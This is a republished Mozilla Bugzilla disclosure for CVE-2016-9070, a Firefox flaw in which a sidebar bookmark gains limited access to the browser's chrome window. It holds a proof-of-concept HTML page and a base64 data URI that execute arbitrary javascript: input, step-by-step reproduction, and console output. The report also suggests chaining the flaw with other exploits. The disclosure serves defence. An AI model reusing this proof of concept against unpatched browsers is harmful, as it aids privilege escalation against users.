Skip to content
Disclosed report CVE-2016-9070

Sidebar bookmark can have reference to chrome window

Abdulrahman Alqabandi Follow

Originally disclosed on Mozilla

  • Fixed in 3 days
  • Paid in 11 days
  • Disclosed after 3 days
Text
User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Steps to reproduce:

----------Sidebar-Source----------------------------------------
<html>
<head></head>
<body>
<textarea id="hell"></textarea>
<br>
<button id="butt">go</button>
<script>
butt.onclick=function(){
	window.location='javascript:'+hell.value+';void(0)';
}
</script>
</body>
</html>
----------------base64-Encoded-------------------------------------data:text/html;base64,PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjx0ZXh0YXJlYSBpZD0iaGVsbCI+PC90ZXh0YXJlYT4KPGJyPgo8YnV0dG9uIGlkPSJidXR0Ij5nbzwvYnV0dG9uPgo8c2NyaXB0PgpidXR0Lm9uY2xpY2s9ZnVuY3Rpb24oKXsKCXdpbmRvdy5sb2NhdGlvbj0namF2YXNjcmlwdDonK2hlbGwudmFsdWUrJzt2b2lkKDApJzsKfQo8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+
-----------------------------------------------------------------------

1. Open Firefox (tested on nightly and stable) and hit CTRL+SHIFT+B to open bookmark library.
2. Create new bookmark with the location of the base64 encoded data uri above.
3. Make sure to check 'load this bookmark in the sidebar' and add
4. Open a new tab then execute the bookmark, it should open on the side.
5. Open the web console of the new tab (to view the error)

6. Execute the following and observe behavior (by copy pasting it inside the textarea and pressing 'go'):

-  alert(content) => Error: "Error: Permission denied to access property Symbol.toPrimitive" {file: "javascript:alert(content);void(0)" line: 1}]
@javascript:alert(content);void(0):1:1


- content.close() => [JavaScript Error: "Error: Permission denied to access property "close"" {file: "javascript:content.close();void(0)" line: 1}]
@javascript:content.close();void(0):1:1

- close.bind(content)() => [JavaScript Warning: "Scripts may not close windows that were not opened by script." {file: "javascript:close.bind(content)();void(0)" line: 1}]
Note: The above javascript warning was displayed inside the console opened in newtab.

- var q = new mozRTCPeerConnection;q.createOffer(Map,close.bind(content)); => [JavaScript Warning: "Scripts may not close windows that were not opened by script." {file: "about:newtab" line: 0}]

note: notice the file: that originated the error.




Actual results:

It seems like javascript is executed in the chrome context though so far I can only execute close(), blur() and focus()


Expected results:

Block script execution from content to chrome window. 

The theory is that this could be used in the future to execute code in chrome context using other exploits.

The original report as published on Mozilla's Bugzilla, by Abdulrahman Alqabandi. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity security bug in DOM: Core & HTML. Mozilla made it public on 24 June 2016 as CVE-2016-9070.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

More by Abdulrahman Alqabandi

View all

33 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.